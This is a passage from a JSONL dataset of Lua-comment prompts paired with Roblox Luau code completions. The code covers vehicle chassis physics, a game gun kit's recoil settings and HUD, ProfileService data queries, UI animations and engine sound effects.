then\n\t\tif script.Parent.Storage.EngineType.Value ~= \"Electric\" then\n\tthrottle.Value = 1 end\n\telse\n\t\tif script.Parent.Functions.ShiftDownRequested.Value == true or script.Parent.Functions.ShiftUpRequested.Value == true then\n\t\t\tthrottle.Value = 0\n\t\t\telse\nthrottle.Value = TCount\nend\nend\nend\n\nif script.Parent.Storage.EngineType.Value == \"Electric\" then\n\tlow = 1\n\tmid = 1\n\thi = 1\n\ttL = .3*TC\nelse\n\t\n\tif ind.Value == \"Natural\" then\n\t\tlow = 1\n\t\tmid = 1\n\t\thi = 1\n\t\t\n\telseif ind.Value == \"Single\" then\n\t\tif inds.Value >= 0 and inds.Value < 2 then\n\t\tlow = 1+(.4*(inds.Value))*(boost.Value/1.21)\n\t\tmid = 1+(.08*(inds.Value))*(boost.Value/1.21)\n\t\thi = 1+(.4*(inds.Value))*(boost.Value/1.21)\n\t\t\n\t\telseif inds.Value >= 2 and inds.Value < 3 then\n\t\tlow = 1+(.4*(inds.Value))*(boost.Value/1.21)\n\t\tmid = 1+(.08*(inds.Value))*(boost.Value/1.21)\n\t\thi = 1+(.4*(inds.Value))*(boost.Value/1.21)\t\n\t\t\n\t\telseif inds.Value >= 3 then\n\t\tlow = 1+(.4*(inds.Value))*(boost.Value/1.21)\n\t\tmid = 1+(.08*(inds.Value))*(boost.Value/1.21)\n\t\thi = 1+(.4*(inds.Value))*(boost.Value/1.21)\n\t\tend\n\t\t\n\telseif ind.Value == \"Twin\" then\n\t\tlow = 1+(.4*(inds.Value))*(boost.Value/1.21)\n\t\tmid = 1+(.08*(inds.Value))*(boost.Value/1.21)\n\t\thi = 1+(.4*(inds.Value))*(boost.Value/1.21)\n\t\t\n\telseif ind.Value == \"Supercharger\" then\n\t\tlow = 1+(.1*(inds.Value))*(boost.Value/1.21)\n\t\tmid = 1+(.08*(inds.Value))*(boost.Value/1.21)\n\t\thi = 1+(.1*(inds.Value))*(boost.Value/1.21)\n\t\tend\nend\n\nfront = (FL.Parent.RotVelocity.Magnitude+FR.Parent.RotVelocity.Magnitude)/2\nback = (RL.Parent.RotVelocity.Magnitude+RR.Parent.RotVelocity.Magnitude)/2\naverage = (front + back)/2\n\nif carSeat.Storage.TC.Value == true then\n\tif (1.4-(front + 0)/(average + 5)) < 0.6 then\n\t\tft = (1.4-(front + 0)/(average + 5))\n\t\t\n\telseif (1.4-(back + 0)/(average + 5)) < 0.6 then\n\t\trt = (1.4-(back + 0)/(average + 5))\n\t\t\n\telse\n\t\tft = 1\n\t\trt = 1\n\tend\nelse\n\tft = 1\n\t\trt = 1\nend"} +{"prompt": "--[[\n\tNovena Constraint Type: Motorcycle\n\t\t\tThe Bike Chassis\n\t\n\t\n\t\t\t\t\tRikOne2 | Enjin\n--]]", "completion": "\n"} +{"prompt": "-----------------------------------------------------------------------------------------------", "completion": "\n\nlocal player=game.Players.LocalPlayer\nlocal mouse=player:GetMouse()\n\nlocal car = script.Parent.Parent.Car.Value\nlocal _Tune = require(car[\"A-Chassis Tune\"])\n\nlocal gauges = script.Parent\nlocal values = script.Parent.Parent.Values\nlocal isOn = script.Parent.Parent.IsOn\n\nlocal intach = car.Body.Dash.Tac.G.Needle\nlocal inspd = car.Body.Dash.Spd.G.Needle\n\ngauges:WaitForChild(\"Speedo\")\ngauges:WaitForChild(\"Tach\")\ngauges:WaitForChild(\"Boost\")\ngauges:WaitForChild(\"ln\")\ngauges:WaitForChild(\"bln\")\ngauges:WaitForChild(\"Gear\")\ngauges:WaitForChild(\"Speed\")\n\ncar.DriveSeat.HeadsUpDisplay = false\n\nlocal _pRPM = _Tune.PeakRPM\nlocal _lRPM = _Tune.Redline\n\nlocal currentUnits = 1\nlocal revEnd = math.ceil(_lRPM/1000)\n"} +{"prompt": "-- Assign hotkeys for redoing (left or right shift + Y)", "completion": "\nAssignHotkey({ 'LeftShift', 'Y' }, History.Redo);\nAssignHotkey({ 'RightShift', 'Y' }, History.Redo);\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,VRecoil = {13,17}\t\t\t\t--- Vertical Recoil\n\t,HRecoil = {6,8}\t\t\t\t--- Horizontal Recoil\n\t,AimRecover = .75\t\t\t\t---- Between 0 & 1\n\t\n\t,RecoilPunch = .15\n\t,VPunchBase = 2.75\t\t\t\t--- Vertical Punch\n\t,HPunchBase = 1.35\t\t\t\t--- Horizontal Punch\n\t,DPunchBase = 1 \t\t\t\t--- Tilt Punch | useless\n\t\n\t,AimRecoilReduction = 5 \t\t--- Recoil Reduction Factor While Aiming (Do not set to 0)\n\t,PunchRecover = 0.2\n\t,MinRecoilPower = .5\n\t,MaxRecoilPower = 3.5\n\t,RecoilPowerStepAmount = .25\n\t\n\t,MinSpread = 1.25\t\t\t\t--- Min bullet spread value | Studs\n\t,MaxSpread = 40\t\t\t\t\t--- Max bullet spread value | Studs\n\t,AimInaccuracyStepAmount = 0.75\n\t,WalkMultiplier = 0\t\t\t\t--- Bullet spread based on player speed\n\n\t,SwayBase = 0.05\t\t\t\t--- Weapon Base Sway | Studs\n\t,MaxSway =\t1.5\t\t\t\t\t--- Max sway value based on player stamina | Studs"} +{"prompt": "-- Time it takes to reload weapon", "completion": "\nlocal ReloadTime = 2.3"} +{"prompt": "------------------------------------------------------------------------------------------------------------------------------\n--// Module", "completion": "\n\nlocal module = {};\n\nfor _, class in next, {\"TextLabel\", \"TextBox\", \"TextButton\", \"TextReplace\"} do\n\tmodule[string.sub(class, 5)] = function(child)\n\t\treturn customFont.new(\"A\", class == \"TextReplace\" and child or class, class == \"TextButton\" or (class == \"TextReplace\" and child:IsA(\"TextButton\")));\n\tend;\nend;\n\nwait(); -- top bar can mess with stuff if fonts called instantly\n\nreturn module;\n"} +{"prompt": "--------------------[ GUI SETUP FUNCTION ]--------------------------------------------", "completion": "\n\nfunction ConvertKey(Key)\n\tif Key == string.char(8) then\n\t\treturn \"BKSPCE\" \n\telseif Key == string.char(9) then\n\t\treturn \"TAB\"\n\telseif Key == string.char(13) then\n\t\treturn \"ENTER\"\n\telseif Key == string.char(17) then\n\t\treturn \"UP\"\n\telseif Key == string.char(18) then\n\t\treturn \"DOWN\"\n\telseif Key == string.char(19) then\n\t\treturn \"RIGHT\"\n\telseif Key == string.char(20) then\n\t\treturn \"LEFT\"\n\telseif Key == string.char(22) then\n\t\treturn \"HOME\"\n\telseif Key == string.char(23) then\n\t\treturn \"END\"\n\telseif Key == string.char(27) then\n\t\treturn \"F2\"\n\telseif Key == string.char(29) then\n\t\treturn \"F4\"\n\telseif Key == string.char(30) then\n\t\treturn \"F5\"\n\telseif Key == string.char(32) or Key == \" \" then\n\t\treturn \"F7\"\n\telseif Key == string.char(33) or Key == \"!\" then\n\t\treturn \"F8\"\n\telseif Key == string.char(34) or Key == '\"' then\n\t\treturn \"F9\"\n\telseif Key == string.char(35) or Key == \"#\" then\n\t\treturn \"F10\"\n\telseif Key == string.char(37) or Key == \"%\" then\n\t\treturn \"F12\"\n\telseif Key == string.char(47) or Key == \"/\" then\n\t\treturn \"R-SHIFT\"\n\telseif Key == string.char(48) or Key == \"0\" then\n\t\treturn \"L-SHIFT\"\n\telseif Key == string.char(49) or Key == \"1\" then\n\t\treturn \"R-CTRL\"\n\telseif Key == string.char(50) or Key == \"2\" then\n\t\treturn \"L-CTRL\"\n\telseif Key == string.char(51) or Key == \"3\" then\n\t\treturn \"R-ALT\"\n\telseif Key == string.char(52) or Key == \"4\" then\n\t\treturn \"L-ALT\"\n\telse\n\t\treturn string.upper(Key)\n\tend\nend\n\nfunction CreateControlFrame(Key, Desc, Num)\n\tlocal Controls = Gui_Clone:WaitForChild(\"HUD\"):WaitForChild(\"Controls\")\n\t\n\tlocal C = Instance.new(\"Frame\")\n\tC.BackgroundTransparency = ((Num % 2) == 1 and 0.7 or 1)\n\tC.BorderSizePixel = 0\n\tC.Name = \"C\"..Num\n\tC.Position = UDim2.new(0, 0, 0, Num * 20)\n\tC.Size = UDim2.new(1, 0, 0, 20)\n\t\n\tlocal K = Instance.new(\"TextLabel\")\n\tK.BackgroundTransparency = 1\n\tK.Name = \"Key\"\n\tK.Size = UDim2.new(0, 45, 1, 0)\n\tK.Font = Enum.Font.ArialBold\n\tK.FontSize = Enum.FontSize.Size14\n\tK.Text = Key\n\tK.TextColor3 = Color3.new(1, 1, 1)\n\tK.TextScaled = (string.len(Key) > 5)\n\tK.TextWrapped = (string.len(Key) > 5)\n\tK.Parent = C\n\t\n\tlocal D = Instance.new(\"TextLabel\")\n\tD.BackgroundTransparency = 1\n\tD.Name = \"Desc\"\n\tD.Position = UDim2.new(0, 50, 0, 0)\n\tD.Size = UDim2.new(1, -50, 1, 0)\n\tD.Font = Enum.Font.ArialBold\n\tD.FontSize = Enum.FontSize.Size14\n\tD.Text = \"- \"..Desc\n\tD.TextColor3 = Color3.new(1, 1, 1)\n\tD.TextXAlignment = Enum.TextXAlignment.Left\n\tD.Parent = C\n\t\n\tC.Parent = Controls\nend\n\nfunction SetUpGui()\n\tlocal HUD = Gui_Clone:WaitForChild(\"HUD\")\n\tlocal Scope = Gui_Clone:WaitForChild(\"Scope\")\n\tlocal Grenades = HUD:WaitForChild(\"Grenades\")\n\tlocal Controls = HUD:WaitForChild(\"Controls\")\n\tlocal CurrentNum = 1\n\t\n\tif S.CanChangeStance then\n\t\tlocal Dive = (S.DolphinDive and \" / Dive\" or \"\")\n\t\tCreateControlFrame(ConvertKey(S.LowerStanceKey), \"Lower Stance\"..Dive, CurrentNum)\n\t\tCurrentNum = CurrentNum + 1\n\t\t\n\t\tCreateControlFrame(ConvertKey(S.RaiseStanceKey), \"Raise Stance\", CurrentNum)\n\t\tCurrentNum = CurrentNum + 1\n\tend\n\t\n\tCreateControlFrame(ConvertKey(S.ReloadKey), \"Reload\", CurrentNum)\n\tCurrentNum = CurrentNum + 1\n\t\n\tif S.CanKnife then\n\t\tCreateControlFrame(ConvertKey(S.KnifeKey), \"Knife\", CurrentNum)\n\t\tCurrentNum = CurrentNum + 1\n\tend\n\t\n\tif S.Throwables then\n\t\tCreateControlFrame(ConvertKey(S.LethalGrenadeKey), \"Throw Lethal\", CurrentNum)\n\t\tCurrentNum = CurrentNum + 1\n\t\t\n\t\tCreateControlFrame(ConvertKey(S.TacticalGrenadeKey), \"Throw Tactical\", CurrentNum)\n\t\tCurrentNum = CurrentNum + 1\n\telse\n\t\tGrenades.Visible = false\n\t\tHUD.Position = UDim2.new(1, -200, 1, -100)\n\t\tHUD.Size = UDim2.new(0, 175, 0, 50)\n\tend\n\t\n\tCreateControlFrame(ConvertKey(S.SprintKey), \"Sprint\", CurrentNum)\n\tCurrentNum = CurrentNum + 1\n\t\n\tif S.ADSKey ~= \"\" then\n\t\tlocal Hold = (S.HoldMouseOrKeyToADS and \"HOLD \" or \"\")\n\t\tCreateControlFrame(Hold..ConvertKey(S.ADSKey)..\" OR R-MOUSE\", \"Aim Down Sights\", CurrentNum)\n\t\tCurrentNum = CurrentNum + 1\n\tend\n\t\n\tControls.Size = UDim2.new(1, 0, 0, CurrentNum * 20)\n\tControls.Position = UDim2.new(0, 0, 0, -(CurrentNum * 20) - 80)\n\t\n\tif S.GuiScope then\n\t\tScope:WaitForChild(\"Img\").Image = S.GuiId\n\t\tScope:WaitForChild(\"Steady\").Text = \"Hold \"..ConvertKey(S.ScopeSteadyKey)..\" to Steady\"\n\tend\n\t\n\tif HUD:FindFirstChild(\"Co\") then\n\t\tHUD.Co:Destroy()\n\tend\n\tlocal Co = Instance.new(\"TextLabel\")\n\tCo.BackgroundTransparency = 1\n\tCo.Name = \"Co\"\n\tCo.Position = UDim2.new(0, 0, 1, 5)\n\tCo.Size = UDim2.new(1, 0, 0, 20)\n\tCo.Font = Enum.Font.ArialBold\n\tCo.FontSize = Enum.FontSize.Size14\n\tCo.Text = (\"noisuFobruT yb detpircs tiK nuG\"):reverse()\n\tCo.TextColor3 = Color3.new(1, 1, 0)\n\tCo.TextStrokeTransparency = 0\n\tCo.TextXAlignment = Enum.TextXAlignment.Right\n\tCo.Parent = HUD\n\t\n\tHUD:WaitForChild(\"Grenades\"):WaitForChild(\"Lethals\"):WaitForChild(\"Icon\").Image = LethalIcons[S.LethalGrenadeType]\n\tHUD:WaitForChild(\"Grenades\"):WaitForChild(\"Tacticals\"):WaitForChild(\"Icon\").Image = TacticalIcons[S.TacticalGrenadeType]\nend\n"} +{"prompt": "-- ProfileVersionQuery object:", "completion": "\n\nlocal ProfileVersionQuery = {\n\t--[[\n\t\t_profile_store = profile_store,\n\t\t_profile_key = profile_key,\n\t\t_sort_direction = sort_direction,\n\t\t_min_date = min_date,\n\t\t_max_date = max_date,\n\n\t\t_query_pages = pages, -- [DataStoreVersionPages]\n\t\t_query_index = index, -- [number]\n\t\t_query_failure = false,\n\n\t\t_is_query_yielded = false,\n\t\t_query_queue = {},\n\t--]]\n}\nProfileVersionQuery.__index = ProfileVersionQuery\n\nfunction ProfileVersionQuery:_MoveQueue()\n\twhile #self._query_queue > 0 do\n\t\tlocal queue_entry = table.remove(self._query_queue, 1)\n\t\ttask.spawn(queue_entry)\n\t\tif self._is_query_yielded == true then\n\t\t\tbreak\n\t\tend\n\tend\nend\n\nfunction ProfileVersionQuery:NextAsync(_is_stacking) --> [Profile] or nil\n\n\tif self._profile_store == nil then\n\t\treturn nil\n\tend\n\n\tlocal profile\n\tlocal is_finished = false\n\n\tlocal function query_job()\n\n\t\tif self._query_failure == true then\n\t\t\tis_finished = true\n\t\t\treturn\n\t\tend\n\n\t\t-- First \"next\" call loads version pages:\n\n\t\tif self._query_pages == nil then\n\n\t\t\tself._is_query_yielded = true\n\t\t\ttask.spawn(function()\n\t\t\t\tprofile = self:NextAsync(true)\n\t\t\t\tis_finished = true\n\t\t\tend)\n\t\t\t\n\t\t\tlocal list_success, error_message = pcall(function()\n\t\t\t\tself._query_pages = self._profile_store._global_data_store:ListVersionsAsync(\n\t\t\t\t\tself._profile_key,\n\t\t\t\t\tself._sort_direction,\n\t\t\t\t\tself._min_date,\n\t\t\t\t\tself._max_date\n\t\t\t\t)\n\t\t\t\tself._query_index = 0\n\t\t\tend)\n\n\t\t\tif list_success == false or self._query_pages == nil then\n\t\t\t\twarn(\"[ProfileService]: Version query fail - \" .. tostring(error_message))\n\t\t\t\tself._query_failure = true\n\t\t\tend\n\n\t\t\tself._is_query_yielded = false\n\t\t\tself:_MoveQueue()\n\n\t\t\treturn\n\n\t\tend\n\n\t\tlocal current_page = self._query_pages:GetCurrentPage()\n\t\tlocal next_item = current_page[self._query_index + 1]\n\n\t\t-- No more entries:\n\t\t\n\t\tif self._query_pages.IsFinished == true and next_item == nil then\n\t\t\tis_finished = true\n\t\t\treturn\n\t\tend\n\n\t\t-- Load next page when this page is over:\n\n\t\tif next_item == nil then\n\n\t\t\tself._is_query_yielded = true\n\t\t\ttask.spawn(function()\n\t\t\t\tprofile = self:NextAsync(true)\n\t\t\t\tis_finished = true\n\t\t\tend)\n\n\t\t\tlocal success = pcall(function()\n\t\t\t\tself._query_pages:AdvanceToNextPageAsync()\n\t\t\t\tself._query_index = 0\n\t\t\tend)\n\n\t\t\tif success == false or #self._query_pages:GetCurrentPage() == 0 then\n\t\t\t\tself._query_failure = true\n\t\t\tend\n\n\t\t\tself._is_query_yielded = false\n\t\t\tself:_MoveQueue()\n\n\t\t\treturn\n\n\t\tend\n\n\t\t-- Next page item:\n\n\t\tself._query_index += 1\n\t\tprofile = self._profile_store:ViewProfileAsync(self._profile_key, next_item.Version)\n\t\tis_finished = true\n\n\tend\n\n\tif self._is_query_yielded == false then\n\t\tquery_job()\n\telse\n\t\tif _is_stacking == true then\n\t\t\ttable.insert(self._query_queue, 1, query_job)\n\t\telse\n\t\t\ttable.insert(self._query_queue, query_job)\n\t\tend\n\tend\n\n\twhile is_finished == false do\n\t\ttask.wait()\n\tend\n\n\treturn profile\n\nend\n"} +{"prompt": "-- Bind functions to when player equips/unequips the tool. Right now just need to turn on and\n-- off AutoRotate", "completion": "\nequipEvent.OnServerEvent:connect(function(player)\n\tplayer.Character.Humanoid.AutoRotate = false\nend)\nunequipEvent.OnServerEvent:connect(function(player)\n\tplayer.Character.Humanoid.AutoRotate = true\nend)\n"} +{"prompt": "-- ROBLOX deviation: moved to RobloxShared to avoid reaching into internals with rotriever workspaces", "completion": "\nlocal getObjectSubset = RobloxShared.expect.getObjectSubset\n"} +{"prompt": "--[[\n\tCreate a promise that represents the immediately resolved value.\n]]", "completion": "\nfunction Promise.resolve(value)\n\treturn Promise.new(function(resolve)\n\t\tresolve(value)\n\tend)\nend\n"} +{"prompt": "-- show and hide animations", "completion": "\nlocal function show()\n\tUITween.fade(welcomeFrame1, 0, 2, 0)\n\tUITween.size(welcomeFrame1, frameSizeStart, 0.4, 0, false)\n\tUITween.size(welcomeBg, bgSizeStart, 0.6, 0, false)\n\tUITween.fade(welcomeFrame2, 0, 2, 0)\n\tUITween.size(welcomeFrame2, frame2SizeStart, 0.4, 0, false)\n\twait(0.25)\n\tUITween.turnOn(welcomeUIPointLight, 1, 2)\n\tUITween.fade(welcomeBg, 0.6, 2, 0)\n\tUITween.size(welcomeFrame1, frameSizeMid, 0.4, 0, false)\n\tUITween.size(welcomeFrame2, frame2SizeMid, 0.4, 0, false)\n\tUITween.size(welcomeBg, bgSizeStart, 0.4, 0, false)\n\twait(0.25)\n\tUITween.size(welcomeFrame1, frameSizeEnd, 0.4, 0, false)\n\tUITween.size(welcomeFrame2, frame2SizeEnd, 0.4, 0, false)\n\tUITween.size(welcomeBg, bgSizeMid, 0.4, 0, false)\n\tUITween.turnOn(welcomeUIGlow, 2, 0.5)\n\t--UITween.turnOn(welcomeConsoleGlow, 2, 0.5)\n\twait(0.25)\n\tUITween.size(welcomeFrame1, frameSizeEnd, 0.4, 0, false)\n\tUITween.size(welcomeBg, bgSizeEnd, 0.4, 0, false)\n\tUITween.fade(welcomeGrid, 0.8, 0.5, 0)\n\tUITween.fade(btnLeft, 0, 2, 0)\n\tUITween.fade(btnRight, 0, 2, 0)\n\tUITween.fade(lobbyScreen1, 0, 2, 0)\n\twelcomeMenuIsShowing = true\t\nend\n\nlocal function hide()\n\tUITween.fade(lobbyScreen1, 1, 0.5, 0)\n\tUITween.fade(lobbyScreen2, 1, 0.5, 0)\n\tUITween.fade(lobbyScreen3, 1, 0.5, 0)\n\tUITween.fade(btnLeft, 1, 0.5, 0)\n\tUITween.fade(btnRight, 1, 0.5, 0)\n\tUITween.fade(welcomeGrid, 1, 0.5, 0)\n\tUITween.turnOn(welcomeUIGlow, 0, 0.5)\n\t--UITween.turnOn(welcomeConsoleGlow, 0, 0.5)\n\tUITween.turnOn(welcomeUIPointLight, 0, 0.5)\n\tUITween.size(welcomeBg, bgSizeEnd, 0.4, 0, false)\n\tUITween.size(welcomeBg, bgSizeMid, 0.4, 0, false)\n\twait(0.25)\n\tUITween.size(welcomeBg, bgSizeMid, 0.4, 0, false)\n\tUITween.size(welcomeFrame1, frameSizeEnd, 0.4, 0, false)\n\tUITween.size(welcomeFrame1, frameSizeMid, 0.4, 0, false)\n\tUITween.size(welcomeFrame2, frame2SizeEnd, 0.4, 0, false)\n\tUITween.size(welcomeFrame2, frame2SizeMid, 0.4, 0, false)\n\twait(0.25)\n\tUITween.size(welcomeBg, bgSizeStart, 0.4, 0, false)\n\tUITween.fade(welcomeBg, 1, 2, 0)\n\twait(0.25)\n\tUITween.size(welcomeFrame1, frameSizeStart, 0.4, 0, false)\n\tUITween.fade(welcomeFrame1, 1, 2, 0)\n\tUITween.size(welcomeFrame2, frame2SizeStart, 0.4, 0, false)\n\tUITween.fade(welcomeFrame2, 1, 2, 0)\n\twelcomeMenuIsShowing = false\nend\n"} +{"prompt": "-- Barrier visualization variables", "completion": "\nlocal barrierPartsFolder = workspace:WaitForChild(\"BarrierParts\")\nlocal barrierPartInfos = {}\nlocal NUMBER_OF_LARGEST_SUBDIVISIONS = 40 -- initial number of barrierParts\nlocal BARRIER_HEIGHT = 2048\nlocal BARRIER_THICKNESS = 0.05\nlocal FRACTION_OF_RADIUS_BEFORE_SPLITTING = 0.5 -- this is the fraction of the current storm radius that an initial barrierPart will split.\n\t\t\t\t\t\t\t\t\t\t\t\t-- following subdivisions will split based on SPLIT_FACTOR\nlocal SPLIT_FACTOR = 0.75 -- this should always be less than 1. The lower the value, the closer the player must be for a barrierPart to split\nlocal MAX_SPLIT_LEVEL = 7 -- max number of times an initial barrierPart can split\nlocal MIN_BARRIERPART_WIDTH = 4\nlocal TRANSPARENCY_FALLOFF_RANGE = NumberRange.new(0, 3000)\nlocal BARRIERPART_COLOR = Color3.fromRGB(195, 14, 255)\n"} +{"prompt": "--[[\n\tConnects the events for UI state.\n\n\tReturns a Rodux Signal class. This has the same API as RBXScriptSignal but\n\tlowercase. For example:\n\n\t```lua\n\tlocal store = Rodux.Store.new(reducer)\n\tlocal conn = uiStateEvents.connect(store)\n\n\tconn:disconnect()\n\t```\n]]", "completion": "\nfunction uiStatesEvents.connect(store)\n\treturn store.changed:connect(function(newState: reducer.State, oldState: reducer.State)\n\t\t-- 3 booleans, one for each of the UI states\n\t\tlocal oldClosedState = not oldState.ui.merchBoothOpen\n\t\tlocal oldCatalogState = oldState.ui.merchBoothOpen and oldState.ui.viewedItemId == nil\n\t\tlocal oldItemState = oldState.ui.merchBoothOpen and oldState.ui.viewedItemId ~= nil\n\n\t\tlocal newClosedState = not newState.ui.merchBoothOpen\n\t\tlocal newCatalogState = newState.ui.merchBoothOpen and newState.ui.viewedItemId == nil\n\t\tlocal newItemState = newState.ui.merchBoothOpen and newState.ui.viewedItemId ~= nil\n\n\t\tif not oldClosedState and newClosedState then\n\t\t\tuiStatesEvents.merchBoothClosed:Fire()\n\t\tend\n\t\tif oldClosedState and not newClosedState then\n\t\t\tuiStatesEvents.merchBoothOpened:Fire()\n\t\tend\n\n\t\tif not oldCatalogState and newCatalogState then\n\t\t\tuiStatesEvents.catalogViewOpened:Fire()\n\t\tend\n\t\tif oldCatalogState and not newCatalogState then\n\t\t\tuiStatesEvents.catalogViewClosed:Fire()\n\t\tend\n\n\t\tif not oldItemState and newItemState then\n\t\t\tuiStatesEvents.itemViewOpened:Fire(newState.ui.viewedItemId)\n\t\tend\n\t\tif oldItemState and not newItemState then\n\t\t\tuiStatesEvents.itemViewClosed:Fire(oldState.ui.viewedItemId)\n\t\tend\n\tend)\nend\n\nreturn uiStatesEvents\n"} +{"prompt": "-- ok", "completion": "\nscript.Parent.PrimaryPart:SetNetworkOwner(nil)\n\nlocal RunS = game:GetService('RunService')\nlocal PFS = game:GetService('PathfindingService')"} +{"prompt": "-- Tire Effect Parameters", "completion": "\nlocal SLIDE_THRESHOLD = 0.6\t\t\t-- The threshold at which skid-marks appear\nlocal SLIDE_DEBOUNCE = 0.2\t\t\t-- The minimum time to display skid-marks for\nlocal SLIDE_MARK_OFFSET = 0.02\t\t-- The studs to offset the skid-marks from the ground by\n\nlocal defaultAudioData = { -- what to use if no custom sounds are provided\n\t{\n\t\tRPM = BASE_RPM,\n\t\tMinRPM = 0,\n\t\tMaxRPM = BASE_RPM + RPM_CROSSOVER,\n\t\tVolume = 3,\n\t\tPitchModification = 1,\n\t\tSoundID = \"rbxassetid://5257533692\",\n\t},\n\t{\n\t\tRPM = 3000,\n\t\tMinRPM = BASE_RPM + RPM_CROSSOVER,\n\t\tMaxRPM = 3500,\n\t\tVolume = 1,\n\t\tPitchModification = 1,\n\t\tSoundID = \"rbxassetid://5257534962\"--\"rbxasset://sounds/Medium.ogg\",\n\t},\n\t{\n\t\tRPM = 4000,\n\t\tMinRPM = 3500,\n\t\tMaxRPM = 9e9,\n\t\tVolume = 1,\n\t\tPitchModification = 1,\n\t\tSoundID = \"rbxassetid://5257536258\"--\"rbxasset://sounds/High.ogg\",\n\t},\n}\n\nlocal audio = {}\n\nlocal Effects = {}\nEffects.__index = Effects\n\nfunction Effects.new(chassis, effectsFolder, topModel)\n\tlocal self = setmetatable({},Effects)\n\n\tself.ignore = topModel\n\n\tself.base = chassis:FindFirstChild(\"FloorPanel\")\n\tself.attachmentContainer = self.base\n\n\tlocal suspensions = {}\n\ttable.insert(suspensions, chassis:FindFirstChild(\"SuspensionFL\"))\n\ttable.insert(suspensions, chassis:FindFirstChild(\"SuspensionFR\"))\n\ttable.insert(suspensions, chassis:FindFirstChild(\"SuspensionRL\"))\n\ttable.insert(suspensions, chassis:FindFirstChild(\"SuspensionRR\"))\n\n\tlocal function createSound(soundId)\n\t\tlocal sound = Instance.new(\"Sound\")\n\t\tsound.Volume = 0\n\t\tsound.Looped = true\n\t\tsound.SoundId = soundId\n\t\tsound.Parent = topModel.PrimaryPart\n\t\tif not sound.IsLoaded then\n\t\t\tsound.Loaded:Wait()\n\t\tend\n\t\treturn sound\n\tend\n\n\tlocal function generateAudioInfo(soundId, baseRPM, minRPM, maxRPM, volume, pitchMod)\n\t\treturn {\n\t\t\tRPM = baseRPM,\n\t\t\tMinRPM = minRPM,\n\t\t\tMaxRPM = maxRPM,\n\t\t\tVolume = volume,\n\t\t\tPitchModification = pitchMod,\n\t\t\tSoundID = soundId,\n\t\t\tSound = createSound(soundId)\n\t\t}\n\tend\n\n\tlocal function createSounds(audioInfo)\n\t\tlocal effects = topModel:FindFirstChild(\"Effects\")\n\t\tlocal engineLowSound\n\t\tlocal engineBaseSound\n\t\tlocal engineHighSound \n\t\tif effects then\n\t\t\t-- idle sound as baseline, Engine sound as next layer, and if there's another sound present, use that as the next higher pitched sound\n\t\t\tengineLowSound = effects:FindFirstChild(\"Idle\")\n\t\t\tengineBaseSound = effects:FindFirstChild(\"Engine\")\n\t\t\tengineHighSound = effects:FindFirstChild(\"EngineHigh\")\n\t\tend\n\n\t\tif not audio[1] then\n\t\t\tif engineLowSound then\n\t\t\t\taudio[1] = generateAudioInfo(engineLowSound.SoundId, BASE_RPM, 0, BASE_RPM+RPM_CROSSOVER, engineLowSound.Volume, engineLowSound.PlaybackSpeed)\n\t\t\telse\n\t\t\t\taudio[1] = generateAudioInfo(defaultAudioData[1].SoundID, BASE_RPM, 0, BASE_RPM+RPM_CROSSOVER, defaultAudioData[1].Volume, defaultAudioData[1].PitchModification)\n\t\t\tend\n\t\tend\n\n\t\tif not audio[2] then\n\t\t\tif engineBaseSound then\n\t\t\t\taudio[2] = generateAudioInfo(engineBaseSound.SoundId, 3000, BASE_RPM+RPM_CROSSOVER, 3500, engineBaseSound.Volume, engineBaseSound.PlaybackSpeed)\n\t\t\telse\n\t\t\t\taudio[2] = generateAudioInfo(defaultAudioData[2].SoundID, 3000, BASE_RPM+RPM_CROSSOVER, 3500, defaultAudioData[2].Volume, defaultAudioData[2].PitchModification)\n\t\t\tend\n\t\tend\n\n\t\tif not audio[3] then\n\t\t\tif engineHighSound then\n\t\t\t\taudio[3] = generateAudioInfo(engineHighSound.SoundId, 4000, 3500, 9e9, engineHighSound.Volume, engineHighSound.PlaybackSpeed)\n\t\t\telse\n\t\t\t\taudio[2].MaxRPM = 9e9\n\t\t\tend\n\t\tend\n\tend\n\n\tlocal function createWheelData(wheelPart)\n\t\tlocal attCenter = Instance.new(\"Attachment\")\n\t\tattCenter.Name = \"EffectsCenter\"\n\t\tattCenter.Parent = self.attachmentContainer\n\n\t\tlocal attRight = Instance.new(\"Attachment\")\n\t\tattRight.Name = \"EffectsR\"\n\t\tattRight.Parent = self.attachmentContainer\n\n\t\tlocal attLeft = Instance.new(\"Attachment\")\n\t\tattLeft.Name = \"EffectsL\"\n\t\tattLeft.Parent = self.attachmentContainer\n\n\t\tlocal trail = nil\n\t\tlocal trailPrototype = effectsFolder:FindFirstChild(\"TireTrail\")\n\t\tif trailPrototype and trailPrototype:IsA(\"Trail\") then\n\t\t\ttrail = trailPrototype:Clone()\n\t\t\ttrail.Parent = self.attachmentContainer\n\t\t\ttrail.Attachment0 = attLeft\n\t\t\ttrail.Attachment1 = attRight\n\t\tend\n\n\t\tlocal wheelData = {\n\t\t\twheel = wheelPart,\n\t\t\tattCenter = attCenter,\n\t\t\tattRight = attRight,\n\t\t\tattLeft = attLeft,\n\t\t\ttrail = trail,\n\t\t\tlastContact = 0,\n\t\t}\n\n\t\treturn wheelData\n\tend\n\n\tself.wheels = {}\n\tfor _, suspension in ipairs(suspensions) do\n\t\tlocal wheelPart = suspension:FindFirstChild(\"Wheel\")\n\t\tif wheelPart then\n\t\t\ttable.insert(self.wheels, createWheelData(wheelPart))\n\t\tend\n\tend\n\n\tif #self.wheels == 0 then -- probably two-wheeler\n\t\tlocal children = chassis:GetChildren()\n\t\tfor i = 1, #children do\n\t\t\tif children[i].Name == \"Wheel\" then\n\t\t\t\ttable.insert(self.wheels, createWheelData(children[i]))\n\t\t\tend\n\t\tend\n\tend\n\n\t-- connect remote event\n\tlocal vehicleSeat = Vehicle:WaitForChild(\"Chassis\"):WaitForChild(\"VehicleSeat\")\n\tSetThrottleConnection = SetThrottleRemote.OnServerEvent:Connect(function(client, throttleState, gainMod)\n\t\t-- verify client is driver\n\t\tlocal occupant = vehicleSeat.Occupant\n\t\tif occupant.Parent == client.Character then\n\t\t\tself:SetThrottleEnabled(throttleState, gainMod)\n\t\tend\n\tend)\n\n\t-- create sounds based off of what we have in the effects folder\n\tcreateSounds()\n\n\tlocal ignitionSound = effectsFolder:FindFirstChild(\"EngineStart\")\n\tif ignitionSound then\n\t\tself.ignitionMaxVolume = ignitionSound.Volume\n\t\tself.ignitionSound = ignitionSound:Clone()\n\t\tself.ignitionSound.Parent = chassis.PrimaryPart\n\tend\n\n\tlocal stopSound = 